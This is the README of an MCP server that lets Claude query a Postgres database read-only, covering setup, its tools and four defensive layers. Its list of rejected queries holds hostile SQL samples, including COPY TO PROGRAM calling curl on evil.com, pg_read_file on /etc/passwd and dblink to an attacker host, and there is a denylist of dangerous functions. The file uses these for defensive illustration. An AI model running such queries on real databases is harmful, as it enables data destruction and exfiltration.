# mcp-server-db

An MCP server that lets Claude (or any MCP client) explore a Postgres database
in plain English — and **only read it**.

Ask *"which customers spent the most last quarter?"* and get an answer. Ask it to
delete something and four independent layers say no.

```
You:    What are our top 5 customers by total spend?
Claude: [list_tables] [describe_table payment] [run_query ...]
        KARL SEAL — $221.55 across 45 payments
        ELEANOR HUNT — $216.54 across 46 payments
        ...
```

Built with FastMCP · Python 3.12 · psycopg 3 · sqlglot

---

## Quick start

**Requirements:** Python 3.12+, a Postgres database, and
[uv](https://docs.astral.sh/uv/getting-started/installation/).

```bash
git clone https://github.com/<you>/mcp-server-db.git
cd mcp-server-db
uv sync
```

### 1. Create the read-only role

The server is designed to connect as a role that *cannot* write, so a bug on
this side can never damage your data. Run this once, as a superuser, against
the database you want to expose:

```bash
psql -v DBNAME=mydb -f sql/bootstrap_role.sql mydb
```

Open [sql/bootstrap_role.sql](sql/bootstrap_role.sql) first — change the
password, and if you want to expose schemas other than `public`, repeat the
`GRANT USAGE` / `GRANT SELECT` block for each one. The script ends with a sanity
query that must return **zero rows**; if it returns anything, the role has
privileges it should not have.

### 2. Point the server at it

```bash
export MCP_DB_DSN='postgresql://mcp_ro:your-password@localhost:5432/mydb'
uv run mcp-server-db
```

It speaks MCP over stdio, so it will sit there silently waiting — that is
correct. `Ctrl-C` to quit. Real use goes through a client, below.

---

## Hooking it up

### Claude Code

```bash
claude mcp add postgres-readonly \
  --env MCP_DB_DSN='postgresql://mcp_ro:your-password@localhost:5432/mydb' \
  -- uv run --directory /absolute/path/to/mcp-server-db mcp-server-db
```

Then `claude` and ask away. `/mcp` shows whether it connected.

### Claude Desktop

Edit `claude_desktop_config.json`:

- **macOS** — `~/Library/Application Support/Claude/claude_desktop_config.json`
- **Windows** — `%APPDATA%\Claude\claude_desktop_config.json`
- **Linux** — `~/.config/Claude/claude_desktop_config.json`

```json
{
  "mcpServers": {
    "postgres-readonly": {
      "command": "uv",
      "args": [
        "run",
        "--directory",
        "/absolute/path/to/mcp-server-db",
        "mcp-server-db"
      ],
      "env": {
        "MCP_DB_DSN": "postgresql://mcp_ro:your-password@localhost:5432/mydb"
      }
    }
  }
}
```

Restart Claude Desktop completely. The tools appear under the 🔌 icon.

Use **absolute paths** — the client does not launch from this directory. If `uv`
is not on your `PATH` as the client sees it, use its full path (`which uv`).

### Any other MCP client

Anything that can launch a stdio MCP server works. The command is
`uv run --directory <repo> mcp-server-db`, with `MCP_DB_DSN` in the environment.

---

## Things to ask it

Once connected, you talk to your database in English. Claude picks the tools.

**Finding your way around**

- *"What's in this database?"*
- *"Show me the tables in the public schema, biggest first."*
- *"What columns does the orders table have, and what's it linked to?"*
- *"Show me a few rows from customers so I can see the shape of the data."*

**Actual questions**

- *"Which 10 customers spent the most, and how many orders each?"*
- *"How many signups per month this year?"*
- *"Which products have never been ordered?"*
- *"What's the average time between a customer's first and second order?"*
- *"Show me active and archived orders together, most recent first."*
- *"Are there any orders whose customer_id doesn't exist in customers?"*

**Understanding the schema**

- *"Draw me the relationships between these tables."*
- *"Which columns are nullable but probably shouldn't be?"*
- *"Is there an index on the column we filter by most?"*

**Things it will refuse** — worth trying once to see the layers work

- *"Delete the test customers."*
- *"Add an index on orders.created_at."*
- *"Read /etc/passwd."*

It will explain that it only has read access, rather than failing obscurely.

---

## Tools

| Tool | Returns |
|------|---------|
| `list_schemas()` | `["public", "analytics"]` — only schemas the role can actually reach |
| `list_tables(schema)` | `name`, `row_estimate`, `comment`, `kind` (table / view / materialized_view / partitioned_table / foreign_table) |
| `describe_table(schema, table)` | `column_names` + `column_rows` (name, type, nullable, default, comment), `primary_key`, `foreign_keys`, `indexes`, `comment` |
| `sample_table(schema, table, n=10)` | first `n` rows; `n` clamped to 1–50 |
| `run_query(sql, max_rows=100)` | bounded read-only result; `max_rows` clamped to 1–1000 |

`row_estimate` is the planner's `reltuples` statistic — instant, but approximate,
and stale until someone runs `ANALYZE`. It is null for plain views. Ask for
`count(*)` when you need the exact number.

Introspection uses fixed, parameterised catalog queries; identifiers are quoted
with `psycopg.sql.Identifier` and never interpolated into SQL strings.

---

## The four safety layers

Each is independent. Getting past one still lands on the next.

| # | Layer | Where |
|---|-------|-------|
| 1 | **AST validation.** Parsed with sqlglot; every node in the tree is checked against a denylist of DML/DDL classes plus a function allowlist. No regexes. The SQL sent to Postgres is regenerated from the validated AST with comments stripped. | [guard.py](src/mcp_server_db/guard.py) |
| 2 | **Read-only transactions.** Every statement runs inside a Postgres `READ ONLY` transaction — set as a session default on each pooled connection *and* again per transaction. Plus `statement_timeout` and `idle_in_transaction_session_timeout`. | [db.py](src/mcp_server_db/db.py) |
| 3 | **A SELECT-only role.** The DSN points at a role holding `USAGE` + `SELECT` and nothing else, with `default_transaction_read_only = on` baked in at role level. | [bootstrap_role.sql](sql/bootstrap_role.sql) |
| 4 | **Bounded results.** Queries are wrapped as `SELECT * FROM (<your sql>) sub LIMIT :cap`, built as an AST rather than string concatenation. Plus a response byte cap. | [guard.py](src/mcp_server_db/guard.py), [encode.py](src/mcp_server_db/encode.py) |

### Why validation is recursive, not positional

Safety is never decided by asking *"what is at the root of this query?"*. That
question gets the classic case wrong:

```sql
WITH x AS (DELETE FROM users RETURNING *) SELECT * FROM x
```

A `SELECT` sits at the root, so from the top it looks innocent. Instead, every
node is visited with `expression.walk()` and checked. The walk starts at the root
node, so a top-level `INSERT` is caught by *exactly the same check* as one buried
in a CTE — there is no separate case for it.

Once contents rather than shape decide the answer, branch structure stops
mattering. `UNION`, `INTERSECT`, `EXCEPT`, subqueries, CTEs, and correlated
subqueries in a `WHERE` clause are all just nodes on the walk, and all are
allowed — they are pure read-only relational algebra, and *"show me active and
archived orders together"* is a perfectly reasonable question.

A root-type allowlist (`Select`, `SetOperation`, `Subquery`, `Values`) is kept as
a **secondary** check so unrecognised statement types fail closed. It is not what
makes a query safe.

### Function allowlist, not denylist

sqlglot gives standard SQL functions their own typed classes (`Sum`, `Lower`,
`TimestampTrunc`, …), which are safe by construction. Anything it does not
recognise arrives as `exp.Anonymous`, and those are checked against an allowlist
of ~300 known read-only Postgres functions.

Unknown means rejected — so a dangerous function added in some future Postgres
release fails closed, instead of walking through a denylist nobody remembered to
update. A denylist of known offenders (`pg_read_file`, `dblink`, `lo_import`,
`query_to_xml`, `pg_sleep`, …) is applied on top, covering the case where sqlglot
later gives one of them a typed class.

**Using your own functions?** Add their names to `ALLOWED_FUNCTIONS` in
[guard.py](src/mcp_server_db/guard.py). If a legitimate query is rejected with
*"not on the allowlist"*, that is the fix.

### What gets rejected

```
SELECT 1; DROP TABLE users                       → only a single statement is allowed
WITH x AS (DELETE FROM t RETURNING *) SELECT ... → DELETE is not allowed
SELECT * INTO stolen FROM users                  → SELECT ... INTO is not allowed
COPY t TO PROGRAM 'curl evil.com'                → COPY is not allowed
SELECT pg_read_file('/etc/passwd')               → function not allowed
SELECT * FROM dblink('host=evil', '...')         → function not allowed
SELECT * FROM t FOR UPDATE                       → row locking is not allowed
```

And with layer 1 bypassed entirely, Postgres itself still answers
`cannot execute INSERT in a read-only transaction`.

### `UNION` vs `UNION ALL`

Plain `UNION` deduplicates, which means a sort or hash over the full result of
both branches before a single row is returned — the outer `LIMIT` cannot
short-circuit it. On large tables that is the likeliest way to hit the
`statement_timeout`. `run_query`'s tool description tells the model to prefer
`UNION ALL` when duplicates do not need removing.

---

## Output shape

One dict per row repeats every key on every row. Results are columnar instead:

```json
{
  "columns": ["id", "name"],
  "rows": [[1, "a"], [2, "b"]],
  "row_count": 2,
  "truncated": false
}
```

On 100 real rows × 4 columns that is 3,226 bytes against 7,230 for the
dict-per-row shape — a **55% saving**.

`truncated: true` means rows were dropped by the row cap or the byte cap; ask a
narrower question or raise `max_rows`.

> **Known overhead.** FastMCP pretty-prints the text content block with
> `indent=2` *and* sends a second compact copy as `structuredContent`, so the
> same 100-row result costs ~11.2 KB on the wire rather than 3.2 KB. That is the
> SDK's tool-result serialisation, not this server's encoding, and it applies to
> any FastMCP server. Returning a pre-serialised compact string from each tool
> avoids it, at the cost of dropping `structuredContent` for clients that use it.

Values are coerced to JSON: `Decimal` → int when integral else float, dates and
timestamps → ISO 8601 strings, `bytea` → base64, `uuid` → string, `json`/`jsonb`
→ native objects. Treat very high-precision `numeric` as approximate.

---

## Configuration

| Variable | Default | Meaning |
|----------|---------|---------|
| `MCP_DB_DSN` (or `DATABASE_URL`) | *required* | connection string for the SELECT-only role |
| `MCP_DB_STATEMENT_TIMEOUT_MS` | `5000` | per-statement timeout |
| `MCP_DB_MAX_BYTES` | `65536` | response byte cap (hard max `524288`) |
| `MCP_DB_POOL_MIN` / `MCP_DB_POOL_MAX` | `1` / `4` | connection pool sizing |
| `MCP_DB_CONNECT_TIMEOUT_S` | `10` | connection timeout |

Row caps are fixed in code, not configurable by the client: `run_query` defaults
to 100 rows and is hard-capped at 1000; `sample_table` is hard-capped at 50.

---

## Troubleshooting

**"No database DSN configured"** — `MCP_DB_DSN` did not reach the process. In
Claude Desktop it must be inside the server's `env` block, not your shell.

**Server does not appear in the client** — check the paths are absolute and that
`uv` resolves. Test the exact command from your config in a terminal first; if it
hangs silently with no error, that is success.

**"relation does not exist, or the connected role has no SELECT privilege"** —
usually the latter. Re-run the `GRANT SELECT` block for that schema; tables
created *after* the bootstrap need `ALTER DEFAULT PRIVILEGES` (see the script).

**"Function … is not on the allowlist"** — expected for custom or extension
functions. Add the name to `ALLOWED_FUNCTIONS` in `guard.py`.

**Queries time out** — the default is 5s. Plain `UNION` on large tables is the
usual cause; try `UNION ALL`. Raise `MCP_DB_STATEMENT_TIMEOUT_MS` if genuinely
needed.

**`truncated: true`** — the byte cap hit before the row cap. Select fewer
columns, or raise `MCP_DB_MAX_BYTES`.

---

## Layout

```
src/mcp_server_db/
  server.py       FastMCP tool definitions
  guard.py        layer 1 (AST validation) + layer 4 (bounded rewrite)
  db.py           layer 2 (pooling, read-only transactions)
  introspect.py   catalog queries behind the introspection tools
  encode.py       columnar, byte-capped result encoding
  config.py       environment-driven settings
sql/
  bootstrap_role.sql   layer 3 (the SELECT-only role)
```